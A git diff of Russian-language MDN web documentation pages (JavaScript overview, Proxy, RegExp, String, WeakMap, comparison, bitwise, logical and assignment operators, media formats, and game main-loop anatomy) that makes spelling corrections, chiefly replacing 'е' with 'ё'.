    JavaScript это кросс-платформенный, объектно-ориентированный, скриптовый язык. JavaScript - это маленький и легковесный язык; он спроектирован не для создания законченных, полноценных приложений,  а для легкого встраивания в другие продукты и приложения, например, в веб браузеры. Внутри основного приложения, JavaScript может соединяться с объектами этого приложения и осуществлять программный контроль над ними.

    +

    JavaScript это кросс-платформенный, объектно-ориентированный, скриптовый язык. JavaScript - это маленький и легковесный язык; он спроектирован не для создания законченных, полноценных приложений,  а для лёгкого встраивания в другие продукты и приложения, например, в веб браузеры. Внутри основного приложения, JavaScript может соединяться с объектами этого приложения и осуществлять программный контроль над ними.

    Ядро JavaScript содержит набор базовых объектов, например Array, Date и Math, и набор элементов языка: операторов, управляющих структур, и выражений. Ядро JavaScript может быть расширено для различных целей с помощью дополнений, например:

    @@ -52,8 +52,8 @@ original_slug: Web/JavaScript/Guide/JavaScript_Overview Типы данных переменных должны быть объявлены (статическая типизация). - Не может автоматически записывать на жесткий диск. - Может автоматически записывать на жесткий диск. + Не может автоматически записывать на жёсткий диск. + Может автоматически записывать на жёсткий диск. diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html index 6690f5b5bf..59ad23d271 100644 --- a/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html +++ b/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html @@ -127,7 +127,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler -

    [1] Разрешен по умолчанию.

    +

    [1] Разрешён по умолчанию.

    Смотрите также

    diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html index ffb9a22a3b..ab1bd02ef7 100644 --- a/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html +++ b/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html @@ -20,7 +20,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype
    {{js_property_attributes(0, 0, 0)}}

    Описание

    -

    Описание экземпляров регулярных выражений смотрите на странице документации, посвященной объекту {{jsxref("Global_Objects/RegExp", "RegExp")}}. Экземпляры регулярных выражений наследуются от RegExp.prototype. Изменение объекта прототипа распространяется на все экземпляры регулярных выражений.

    +

    Описание экземпляров регулярных выражений смотрите на странице документации, посвящённой объекту {{jsxref("Global_Objects/RegExp", "RegExp")}}. Экземпляры регулярных выражений наследуются от RegExp.prototype. Изменение объекта прототипа распространяется на все экземпляры регулярных выражений.

    Свойства

    Также смотрите устаревшие свойства объекта RegExp

    diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html index b346bedec9..f0de3d5413 100644 --- a/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html +++ b/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html @@ -80,7 +80,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/String/prototype
    {{jsxref("String.prototype.slice()")}}
    Извлекает часть строки и возвращает новую строку.
    {{jsxref("String.prototype.split()")}}
    -
    Разбивает объект {{jsxref("Global_Objects/String", "String")}} на массив строк, разделенных указанной строкой на подстроки.
    +
    Разбивает объект {{jsxref("Global_Objects/String", "String")}} на массив строк, разделённых указанной строкой на подстроки.
    {{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}
    Определяет, начинается ли строка символами другой строки.
    {{jsxref("String.prototype.substr()")}}
    diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html index f948e738c4..1b946c504b 100644 --- a/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html +++ b/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html @@ -30,15 +30,15 @@ original_slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype
    {{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}
    -
    Удаление значение по ключу. WeakMap.prototype.has(key) вернет false после.
    +
    Удаление значение по ключу. WeakMap.prototype.has(key) вернёт false после.
    {{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}
    Возвращает значение по ключу, or undefined такового нет.
    {{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}
    -
    Вернет логическое значение, связанное с существованием ключа.
    +
    Вернёт логическое значение, связанное с существованием ключа.
    {{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}
    Устанавливает значение по ключу, после возвращает самого себя.
    {{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}
    -
    Удаляет все ключи-значения из WeakMap объекта. Заметьте, что это возможно, только есть WeakMap-like объект имеет.clear() метод путем инкапсулирования WeakMap объекта, раннее не имевшего его (смотри пример на странице {{jsxref("WeakMap")}})
    +
    Удаляет все ключи-значения из WeakMap объекта. Заметьте, что это возможно, только есть WeakMap-like объект имеет.clear() метод путём инкапсулирования WeakMap объекта, раннее не имевшего его (смотри пример на странице {{jsxref("WeakMap")}})

    Спецификации

    diff --git a/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html b/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html index a08c948525..4f6c0a178f 100644 --- a/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html +++ b/files/ru/conflicting/web/javascript/reference/operators_69135a8d5772f8b6e45265523df05d89/index.html @@ -167,8 +167,8 @@ original_slug: Web/JavaScript/Reference/Operators/Операторы_сравн
    • При сравнении числа (Number) и строки (String), JavaScript пытается преобразовать числовой литерал строки в число. Затем полученное число округляется до ближайшего возможного значения типа Number.
    • Если один из операндов является логическим (Boolean), то он преобразуется в значение типа (Number). Если значение логического операнда равняется истине (true), то значение этого операнда преобразуется в 1. Иначе - в 0 (ложь / false).
      • -
    • Если объект сравнивается с числом или строкой, JavaScript пытается получить значение по умолчанию для данного объекта. Полученное значение преобразуется в примитив, посредством методов valueOf() и toString(). Если преобразовать объект не удается, генерируется ошибка времени выполнения.
      • -
    • Обратите внимание на то, что объект преобразуется в примитив, если, и только если, второй операнд является примитивом. В ином случае, операнды сравниваются как объекты, соответственно, операция сравнения вернет истину в том случае, если внутренние ссылки обоих объектов ссылаются на один и тот же объект в памяти.
      • +
    • Если объект сравнивается с числом или строкой, JavaScript пытается получить значение по умолчанию для данного объекта. Полученное значение преобразуется в примитив, посредством методов valueOf() и toString(). Если преобразовать объект не удаётся, генерируется ошибка времени выполнения.
      • +
    • Обратите внимание на то, что объект преобразуется в примитив, если, и только если, второй операнд является примитивом. В ином случае, операнды сравниваются как объекты, соответственно, операция сравнения вернёт истину в том случае, если внутренние ссылки обоих объектов ссылаются на один и тот же объект в памяти.
    Внимание: Объекты String имеют тип Object, а не String. Такие объекты используются редко, так что следующий код может вас сильно удивить.
    diff --git a/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html b/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html index d95f6175d1..8357e8b85a 100644 --- a/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html +++ b/files/ru/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html @@ -80,9 +80,9 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators

    Представление чисел (Signed 32-bit integers)

    -

    Операнды всех битовых операций конвертируются в 32-х битовые целые со знаком представленные в дополнительном коде и с использованием порядка битов от "старшего к младшему". Порядок битов "от старшего к младшему" означает, что наиболее значимый бит (бит с наибольшим значением) находится слева если 32-х разрядное число представлено в виде горизонтальной линии (шкалы). Представление в дополнительном коде  означает, что отрицательное значение числа (например 5 и -5) получается путем инвертирования числа (операция "побитовое НЕ", также известное как "обратный код") и прибавления к нему единицы.

    +

    Операнды всех битовых операций конвертируются в 32-х битовые целые со знаком представленные в дополнительном коде и с использованием порядка битов от "старшего к младшему". Порядок битов "от старшего к младшему" означает, что наиболее значимый бит (бит с наибольшим значением) находится слева если 32-х разрядное число представлено в виде горизонтальной линии (шкалы). Представление в дополнительном коде  означает, что отрицательное значение числа (например 5 и -5) получается путём инвертирования числа (операция "побитовое НЕ", также известное как "обратный код") и прибавления к нему единицы.

    -

    Возьмем, к примеру, число 314. Представим его в двоичном коде:

    +

    Возьмём, к примеру, число 314. Представим его в двоичном коде:

    00000000000000000000000100111010
    @@ -96,7 +96,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators 
    11111111111111111111111011000110
    -

    Дополнение до 2-х гарантирует нам, что у положительного числа самый левый бит равен 0, в то время как у отрицательного он равен 1. Он зовется знаковым битом.

    +

    Дополнение до 2-х гарантирует нам, что у положительного числа самый левый бит равен 0, в то время как у отрицательного он равен 1. Он зовётся знаковым битом.


    Число 0 есть число, у которого во всех битовых позициях записаны нули.

    @@ -136,7 +136,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators

    & (Побитовое AND)

    -

    Производит побитовое И над каждой парой битов. Операция a AND b вернет 1 если только и a и b равны 1. Таблица истинности для этой операции выглядит так:

    +

    Производит побитовое И над каждой парой битов. Операция a AND b вернёт 1 если только и a и b равны 1. Таблица истинности для этой операции выглядит так:

    @@ -176,13 +176,13 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators 14 & 9 (основание 10) = 00000000000000000000000000001000 (осн. 2) = 8 (осн. 10) -

    Побитовое  AND любого числа x с нулем вернет 0.

    +

    Побитовое  AND любого числа x с нулём вернёт 0.

    -

    Побитовое  AND любого числа x с числом -1 вернет х.

    +

    Побитовое  AND любого числа x с числом -1 вернёт х.

    | (Побитовое OR)

    -

    Производит побитовое ИЛИ над каждой парой битов. Операция a OR b вернет 1 если a или b равны 1. Таблица истинности для этой операции выглядит так:

    +

    Производит побитовое ИЛИ над каждой парой битов. Операция a OR b вернёт 1 если a или b равны 1. Таблица истинности для этой операции выглядит так:

    @@ -222,13 +222,13 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators 14 | 9 (осн. 10) = 00000000000000000000000000001111 (осн. 2) = 15 (осн. 10) -

    Побитовое OR любого числа x c нулем вернет x.

    +

    Побитовое OR любого числа x c нулём вернёт x.

    -

    Побитовое OR любого числа x с числом -1 вернет -1.

    +

    Побитовое OR любого числа x с числом -1 вернёт -1.

    ^ (Побитовое XOR)

    -

    Производит побитовое XOR над каждой парой битов. Операция a XOR b вернет 1 если a  и b различны. Таблица истинности для этой операции выглядит так:

    +

    Производит побитовое XOR над каждой парой битов. Операция a XOR b вернёт 1 если a  и b различны. Таблица истинности для этой операции выглядит так:

    @@ -268,13 +268,13 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators 14 ^ 9 (осн. 10) = 00000000000000000000000000000111 (осн. 2) = 7 (осн. 10) -

    Побитовое XOR любого числа x c нулем вернет x.

    +

    Побитовое XOR любого числа x c нулём вернёт x.

    -

    Побитовое XOR любого числа x c числом -1 вернет ~x.

    +

    Побитовое XOR любого числа x c числом -1 вернёт ~x.

    ~ (Побитовое NOT)

    -

    Производит операцию NOT над каждым битом. NOT a вернет побитово инвертированное значение (обратный код) операнда. Таблица истинности для этой операции выглядит так:

    +

    Производит операцию NOT над каждым битом. NOT a вернёт побитово инвертированное значение (обратный код) операнда. Таблица истинности для этой операции выглядит так:

    @@ -300,7 +300,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators ~9 (осн. 10) = 11111111111111111111111111110110 (осн. 2) = -10 (осн. 10) -

    Побитовое NOT любого числа x вернет -(x + 1). Например, ~5 вернет -6.

    +

    Побитовое NOT любого числа x вернёт -(x + 1). Например, ~5 вернёт -6.

    Побитовые операции сдвига

    @@ -321,7 +321,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators -

    Побитовй сдвиг любого числа x влево на y бит в результате дает  x * 2 ** y.

    +

    Побитовй сдвиг любого числа x влево на y бит в результате даёт  x * 2 ** y.

    >> (Сдвиг вправо с сохранением знака)

    @@ -334,7 +334,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators 9 >> 2 (осн. 10): 00000000000000000000000000000010 (осн. 2) = 2 (осн. 10) -

    Аналогично, -9 >> 2 даст в результате  -3, так как знак сохранен:

    +

    Аналогично, -9 >> 2 даст в результате  -3, так как знак сохранён:

         -9 (осн. 10): 11111111111111111111111111110111 (осн. 2)
                    --------------------------------
@@ -347,14 +347,14 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
 
 
    Для положительных чисел, сдвиг вправо с сохранением знака и сдвиг вправо с заполнением нулями эквивалентны.
    
 
-
    Например, 9 >>> 2 дает в результате 2, как и 9 >> 2:
    
+
    Например, 9 >>> 2 даёт в результате 2, как и 9 >> 2:
    
 
 
          9 (осн. 10): 00000000000000000000000000001001 (осн. 2)
                    --------------------------------
 9 >>> 2 (осн. 10): 00000000000000000000000000000010 (осн. 2) = 2 (осн. 10)
 
    
 
-
    Важно отметить, что для отрицательных результаты будут разными. Например, -9 >>> 2 дает в результате 1073741821, что отличается от результата -9 >> 2 (равно -3):
    
+
    Важно отметить, что для отрицательных результаты будут разными. Например, -9 >>> 2 даёт в результате 1073741821, что отличается от результата -9 >> 2 (равно -3):
    
 
 
          -9 (осн. 10): 11111111111111111111111111110111 (осн. 2)
                     --------------------------------
diff --git a/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html b/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html
index ee76c80725..b5f93ec4e7 100644
--- a/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html
+++ b/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html
@@ -26,13 +26,13 @@ original_slug: Web/JavaScript/Reference/Operators/Логические_опер
    - + diff --git a/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html b/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html index a084333733..98a8d2af79 100644 --- a/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html +++ b/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html @@ -15,13 +15,13 @@ original_slug: Web/JavaScript/Reference/Operators/Assignment_Operators

    Описание

    -

    Основной оператор присваивания - это знак равно (=), он и присваивает значение правого операнда, левому. То есть - x = y присваивает значение переменной y, переменной x. Другие операторы присваивания, как следует из приведенной ниже таблицы с определениями и примерами, являются сокращениями стандартных операций.

    +

    Основной оператор присваивания - это знак равно (=), он и присваивает значение правого операнда, левому. То есть - x = y присваивает значение переменной y, переменной x. Другие операторы присваивания, как следует из приведённой ниже таблицы с определениями и примерами, являются сокращениями стандартных операций.

    Логическое И (&&) expr1 && expr2Возвращает значение expr1, если оно может быть преобразовано в false; иначе возвращает значение expr2. Таким образом, при использовании с величинами типа Boolean оператор && вернет true, если оба операнда могут быть преобразованы в true; иначе оператор && вернет false. Возвращает значение expr1, если оно может быть преобразовано в false; иначе возвращает значение expr2. Таким образом, при использовании с величинами типа Boolean оператор && вернёт true, если оба операнда могут быть преобразованы в true; иначе оператор && вернёт false. 
    Логическое ИЛИ (||) expr1 || expr2 -

    Возвращает значение expr1, если оно может быть преобразовано в true; иначе возвращает значение expr2. Таким образом, при использовании с величинами типа Boolean оператор || вернет true если хоть один из них равен true; в других случаях вернет false.

    +

    Возвращает значение expr1, если оно может быть преобразовано в true; иначе возвращает значение expr2. Таким образом, при использовании с величинами типа Boolean оператор || вернёт true если хоть один из них равен true; в других случаях вернёт false.
    - + @@ -89,7 +89,7 @@ original_slug: Web/JavaScript/Reference/Operators/Assignment_Operators

    Присваивание

    -

    Простой оператор присваивания, который задает значение переменной. Цепочка операторов присваивания может быть использована для назначения нескольким переменным одного и того же значения. Смотрите пример.

    +

    Простой оператор присваивания, который задаёт значение переменной. Цепочка операторов присваивания может быть использована для назначения нескольким переменным одного и того же значения. Смотрите пример.

    Синтаксис

    @@ -124,7 +124,7 @@ x = y = z // x, y и z все равны 25 // bar = 5 // baz = true -// Результат исполнения каждого нижеприведенного примера +// Результат исполнения каждого нижеприведённого примера // представлен в изоляции от предыдущих примеров (как если // бы значения переменных foo, bar, baz возвращались на // первоначальные) diff --git a/files/ru/conflicting/web/media/formats/index.html b/files/ru/conflicting/web/media/formats/index.html index db671e312e..61a80ea1e4 100644 --- a/files/ru/conflicting/web/media/formats/index.html +++ b/files/ru/conflicting/web/media/formats/index.html @@ -5,7 +5,7 @@ translation_of: Web/Media/Formats translation_of_original: Web/HTML/Supported_media_formats original_slug: Web/HTML/Поддерживаемые_медиа_форматы --- -

    {{ HTMLElement("audio") }} и {{ HTMLElement("video") }} элементы предоставляют поддержку для проигрывания аудио и видео медиа без нужды в плагинах. Формат медиафайла состоит из контейнера, содержащего один или несколько потоков данных, закодированных с использованием формата сжатия, называемого кодеком. Контейнер идентифицируется по расширению файла. Потоки внутри контейнера имеют несколько типов, которые могут включать в себя видео, аудио, данные или титры. Один контейнер (т. е. медиафайл) может содержать несколько потоков одного типа. В аудио- и видео- потоках находятся кодеки. Кодек — сокращение слов "кодера-декодер" — является алгоритмом сжатия данных в файле. Каждый тип контейнера имеет только определенные кодеки, которые он поддерживает.

    +

    {{ HTMLElement("audio") }} и {{ HTMLElement("video") }} элементы предоставляют поддержку для проигрывания аудио и видео медиа без нужды в плагинах. Формат медиафайла состоит из контейнера, содержащего один или несколько потоков данных, закодированных с использованием формата сжатия, называемого кодеком. Контейнер идентифицируется по расширению файла. Потоки внутри контейнера имеют несколько типов, которые могут включать в себя видео, аудио, данные или титры. Один контейнер (т. е. медиафайл) может содержать несколько потоков одного типа. В аудио- и видео- потоках находятся кодеки. Кодек — сокращение слов "кодера-декодер" — является алгоритмом сжатия данных в файле. Каждый тип контейнера имеет только определённые кодеки, которые он поддерживает.

    Важно понять, почему в Интернете нужны разные медиаформаты. По разным причинам, выходящим за рамки данной статьи, различные браузеры поддерживают разные медиаформаты. Кроме того, область медиаформатов в Интернете сильно пострадала от патентного права во многих странах, включая США и страны ЕС. (Примечания к патентам в этой статье предоставляются как есть, так и без каких-либо гарантий.) В этой статье рассматриваются наиболее важные для Интернета форматы, включая поддержку в браузерах как мобильных, так и десктопных .

    diff --git a/files/ru/games/anatomy/index.html b/files/ru/games/anatomy/index.html index 91949c9ac0..b3022fa527 100644 --- a/files/ru/games/anatomy/index.html +++ b/files/ru/games/anatomy/index.html @@ -18,17 +18,17 @@ original_slug: Games/Анатомия

    Особенности игр.

    -

    Некоторые игры управляют своим циклом при помощи пользовательского ввода. Представьте, что вы разрабатываете игру типа "найди разницу между этими двумя похожими картинками". Такого рода игры показывают пользователю две картинки; они получают их клики (или касания); они преобразуют ввод в успешный , не успешный, пауза, работа с меню, и так далее; в конечном итоге, в зависимости от данных действий, они вычисляют обновленное состояние сцены. Игровой цикл продвигается пользовательскими действиями и "спит" пока таковые отсутствуют. Это пример так называемой пошаговой игры, которая не зависит от постоянного обновления каждого кадра, а только от действий пользователя.

    +

    Некоторые игры управляют своим циклом при помощи пользовательского ввода. Представьте, что вы разрабатываете игру типа "найди разницу между этими двумя похожими картинками". Такого рода игры показывают пользователю две картинки; они получают их клики (или касания); они преобразуют ввод в успешный , не успешный, пауза, работа с меню, и так далее; в конечном итоге, в зависимости от данных действий, они вычисляют обновлённое состояние сцены. Игровой цикл продвигается пользовательскими действиями и "спит" пока таковые отсутствуют. Это пример так называемой пошаговой игры, которая не зависит от постоянного обновления каждого кадра, а только от действий пользователя.

    Другие игры требуют контроля над каждым из минимально возможных индивидуальных временных интервалов. Те же принципы, что и выше, применяются с небольшим изменением: каждый кадр анимации продолжает цикл, и любое изменение пользовательского ввода фиксируется на первом доступном ходе. Эта покадровая модель реализована в так называемом основном цикле. Если ваша игра зацикливается на времени, то это будет её полномочия, которые будут соблюдать ваши симуляции.

    Но покадровое управление может и не понадобиться. Ваш игровой цикл может быть похож на пример поиска отличий и основан на входных событиях. Это может потребовать как ввода, так и симуляции времени. Он может даже зацикливаться на чем-то совершенно другом.

    -

    Современный JavaScript, как описано в следующих разделах, к счастью, позволяет легко разработать эффективный основной цикл выполнения один раз в кадр. Конечно, ваша игра будет оптимизирована настолько, насколько вы ее сделаете. Если что-то выглядит так, как будто оно должно быть прикреплено к более редкому исходу, то часто бывает хорошей идеей вырвать его из основного цикла (но не всегда).

    +

    Современный JavaScript, как описано в следующих разделах, к счастью, позволяет легко разработать эффективный основной цикл выполнения один раз в кадр. Конечно, ваша игра будет оптимизирована настолько, насколько вы её сделаете. Если что-то выглядит так, как будто оно должно быть прикреплено к более редкому исходу, то часто бывает хорошей идеей вырвать его из основного цикла (но не всегда).

    Построение основного цикла в JavaScript 

    -

    Лучше всего JavaScript работает с событиями и callback функциями. Современные браузеры стремятся вызывать методы по мере необходимости и бездействовать (или выполнять другие задачи) в промежутках. Привязать код к моменту, который для него подходит — это отличная идея.  Подумайте о том, действительно ли ваша функция должна вызываться на строго определенном интервале времени, в каждом кадре или только после того, как произойдет что-то еще.  Подумайте о том, действительно ли функцию нужно вызывать в определённом интервале времени, на каждый кадр или только после того, как что-то произойдёт. Больше конкретики с браузером в том, когда функция должна быть вызвана, позволяет ему лучше оптимизировать этот процесс. Так же, вероятно, это облегчит вам работу.   

    +

    Лучше всего JavaScript работает с событиями и callback функциями. Современные браузеры стремятся вызывать методы по мере необходимости и бездействовать (или выполнять другие задачи) в промежутках. Привязать код к моменту, который для него подходит — это отличная идея.  Подумайте о том, действительно ли ваша функция должна вызываться на строго определённом интервале времени, в каждом кадре или только после того, как произойдёт что-то ещё.  Подумайте о том, действительно ли функцию нужно вызывать в определённом интервале времени, на каждый кадр или только после того, как что-то произойдёт. Больше конкретики с браузером в том, когда функция должна быть вызвана, позволяет ему лучше оптимизировать этот процесс. Так же, вероятно, это облегчит вам работу.   

    Некоторый код должен выполняться кадр за кадром, так зачем же прикреплять эту функцию к чему-то другому, кроме графика перерисовки браузера? В Web, {{ domxref("window.requestAnimationFrame()") }} будет основой большинства хорошо запрограммированных покадровых основных циклов.  Callback функция должна быть передана ему при вызове. Callback функция будет выполнена в подходящее время перед следующей перерисовкой. Вот пример простого основного цикла:

    @@ -41,26 +41,26 @@ original_slug: Games/Анатомия main(); // Start the cycle
    -

    Примечание: В каждом из методов main(), обсуждаемых здесь, мы планируем новый requestAnimationFrame перед выполнением нашего содержимого цикла. Это не случайно и считает лучшей практикой. Ранний вызов следующего requestAnimationFrame гарантирует, что браузер получит его вовремя, чтобы спланировать соответствующим образом, даже если ваш текущий кадр пропустит свое окно VSync.

    +

    Примечание: В каждом из методов main(), обсуждаемых здесь, мы планируем новый requestAnimationFrame перед выполнением нашего содержимого цикла. Это не случайно и считает лучшей практикой. Ранний вызов следующего requestAnimationFrame гарантирует, что браузер получит его вовремя, чтобы спланировать соответствующим образом, даже если ваш текущий кадр пропустит своё окно VSync.

    -

    Приведенный выше фрагмент кода содержит два оператора. Первый оператор создает функцию как глобальную переменную с именем main().Эта функция выполняет некоторую работу, а также сообщает браузеру, что нужно вызвать следующий кадр с помощью window.requestAnimationFrame(). Второй оператор вызывает функцию main(), описанную в первом операторе. Поскольку main() вызывается один раз во втором операторе и каждый его вызов помещает себя в очерёдность действий, чтобы отрисовать следующий кадр, main() синхронизируется с вашей частотой кадров.

    +

    Приведённый выше фрагмент кода содержит два оператора. Первый оператор создаёт функцию как глобальную переменную с именем main().Эта функция выполняет некоторую работу, а также сообщает браузеру, что нужно вызвать следующий кадр с помощью window.requestAnimationFrame(). Второй оператор вызывает функцию main(), описанную в первом операторе. Поскольку main() вызывается один раз во втором операторе и каждый его вызов помещает себя в очерёдность действий, чтобы отрисовать следующий кадр, main() синхронизируется с вашей частотой кадров.

    Конечно, этот цикл не идеален. Прежде чем мы обсудим способы его изменения, давайте обсудим, что он уже делает хорошо.

    Синхронизация основного цикла с тем, когда браузер рисует на дисплее, позволяет запускать цикл так часто, как браузер хочет рисовать. Вам предоставляется контроль над каждым кадром анимации. Это также очень просто, потому что main() - единственная функция, которая зацикливается. Шутер от первого лица (или подобная игра) представляет новую сцену один раз в каждом кадре. Вы не можете добиться большей плавности и быстродействия.

    -

    Но не стоит сразу предполагать, что анимация требует покадрового управления. Простые анимации можно легко выполнять даже с ускорением на GPU с помощью CSS-анимации и других инструментов, включенных в браузер. Их очень много и они сделают вашу жизнь проще.

    +

    Но не стоит сразу предполагать, что анимация требует покадрового управления. Простые анимации можно легко выполнять даже с ускорением на GPU с помощью CSS-анимации и других инструментов, включённых в браузер. Их очень много и они сделают вашу жизнь проще.

    Создание улучшенного основного цикла в JavaScript.

    -

    У нашего цикла есть две очевидные проблемы: main() загрязняет {{ domxref("window") }} объект (в нем хранятся все глобальные переменные) и код не оставляет нам возможность остановить цикл, если только вся вкладка не будет закрыта или обновлена. Для решения первой проблемы, если нужно, чтобы основной цикл просто выполнялся и вам не нужен легкий (прямой) доступ к нему, вы можете поместить его внутрь самовызывающейся Function Expression (IIFE).

    +

    У нашего цикла есть две очевидные проблемы: main() загрязняет {{ domxref("window") }} объект (в нем хранятся все глобальные переменные) и код не оставляет нам возможность остановить цикл, если только вся вкладка не будет закрыта или обновлена. Для решения первой проблемы, если нужно, чтобы основной цикл просто выполнялся и вам не нужен лёгкий (прямой) доступ к нему, вы можете поместить его внутрь самовызывающейся Function Expression (IIFE).

    /*
 * Начинаем с точки с запятой в случае, если какая-либо строка кода выше данного примера
 * полагается на автоматическую вставку точки с запятой (ASI). Браузер может случайно решить,
 * что весь этот код начинается с предыдущей строки. Первая точка с запятой отмечает начало
-* новой строки, если предыдущая не была пустой или завершенной.
+* новой строки, если предыдущая не была пустой или завершённой.
 */
 
 ;(function () {
@@ -73,19 +73,19 @@ main(); // Start the cycle
    main(); // Вызов цикла })(); -

    Когда браузер наткнется на IIFE (Immediately Invoked Function Expression), он определит основной цикл и сразу же поставит его в очередь для следующего кадра. Он не будет привязан ни к какому объекту, и main (или main() для методов) будет неиспользуемым именем, доступным в остальной части приложения для определения чего-то другого.

    +

    Когда браузер наткнётся на IIFE (Immediately Invoked Function Expression), он определит основной цикл и сразу же поставит его в очередь для следующего кадра. Он не будет привязан ни к какому объекту, и main (или main() для методов) будет неиспользуемым именем, доступным в остальной части приложения для определения чего-то другого.

    Примечание: На практике распространено предотвращать следующий requestAnimationFrame() используя оператор if вместо вызова cancelAnimationFrame().

    -

    Чтобы остановить основной цикл, вам понадобиться отменить вызов main() с помощью {{ domxref("window.cancelAnimationFrame()") }}. Необходимо передать в cancelAnimationFrame() идентификатор последнего вызова requestAnimationFrame(). Давайте предположим, что функции и переменные вашей игры были определены в пространстве имен, которое вы назвали MyGame.  В таком случае, основной цикл будет выглядеть следующим образом:

    +

    Чтобы остановить основной цикл, вам понадобиться отменить вызов main() с помощью {{ domxref("window.cancelAnimationFrame()") }}. Необходимо передать в cancelAnimationFrame() идентификатор последнего вызова requestAnimationFrame(). Давайте предположим, что функции и переменные вашей игры были определены в пространстве имён, которое вы назвали MyGame.  В таком случае, основной цикл будет выглядеть следующим образом:

    /*
 * Начинаем с точки с запятой в случае, если какая-либо строка кода выше данного примера
 * полагается на автоматическую вставку точки с запятой (ASI). Браузер может случайно решить,
 * что весь этот код начинается с предыдущей строки. Первая точка с запятой отмечает начало
-* новой строки, если предыдущая не была пустой или завершенной.
+* новой строки, если предыдущая не была пустой или завершённой.
 *
 * Давайте также предположим, что MyGame уже определена.
 */
@@ -100,7 +100,7 @@ main(); // Start the cycle
    main(); // Вызов цикла })(); -

    Теперь у нас есть переменная stopMain, объявленная в нашем пространстве имен MyGame, которая содержит идентификатор последнего вызова requestAnimationFrame() нашего основного цикла.  В любой момент мы может остановить основной цикл, сказав браузеру, чтобы тот отменил запрос, соответствующий последнему маркеру.

    +

    Теперь у нас есть переменная stopMain, объявленная в нашем пространстве имён MyGame, которая содержит идентификатор последнего вызова requestAnimationFrame() нашего основного цикла.  В любой момент мы может остановить основной цикл, сказав браузеру, чтобы тот отменил запрос, соответствующий последнему маркеру.

    window.cancelAnimationFrame( MyGame.stopMain );
    @@ -108,7 +108,7 @@ main(); // Start the cycle

    Построение более оптимизированного основного цикла в JavaScript

    -

    В конце контов, в JavaScript браузер выполняет свой собственный основной цикл, и ваш код существует на некоторых его этапах. В приведенных выше разделах описываются основные циклы, которые стараются не отнимать контроль у браузера. Их методы прикрепляют себя к  window.requestAnimationFrame(), который запрашивает контроль над предстоящим кадром у браузера.  Браузер решает, как связать эти запросы с их основным циклом. Спецификация W3C для requestAnimationFrame на самом деле точно не определяет, когда браузеры должны выполнять колбэки requestAnimationFrame. Это может быть преимуществом, поскольку позволяет поставщикам браузеров свободно экспериментировать с решениями, которые они считают лучшими, и настраивать их с течением времени.

    +

    В конце контов, в JavaScript браузер выполняет свой собственный основной цикл, и ваш код существует на некоторых его этапах. В приведённых выше разделах описываются основные циклы, которые стараются не отнимать контроль у браузера. Их методы прикрепляют себя к  window.requestAnimationFrame(), который запрашивает контроль над предстоящим кадром у браузера.  Браузер решает, как связать эти запросы с их основным циклом. Спецификация W3C для requestAnimationFrame на самом деле точно не определяет, когда браузеры должны выполнять колбэки requestAnimationFrame. Это может быть преимуществом, поскольку позволяет поставщикам браузеров свободно экспериментировать с решениями, которые они считают лучшими, и настраивать их с течением времени.

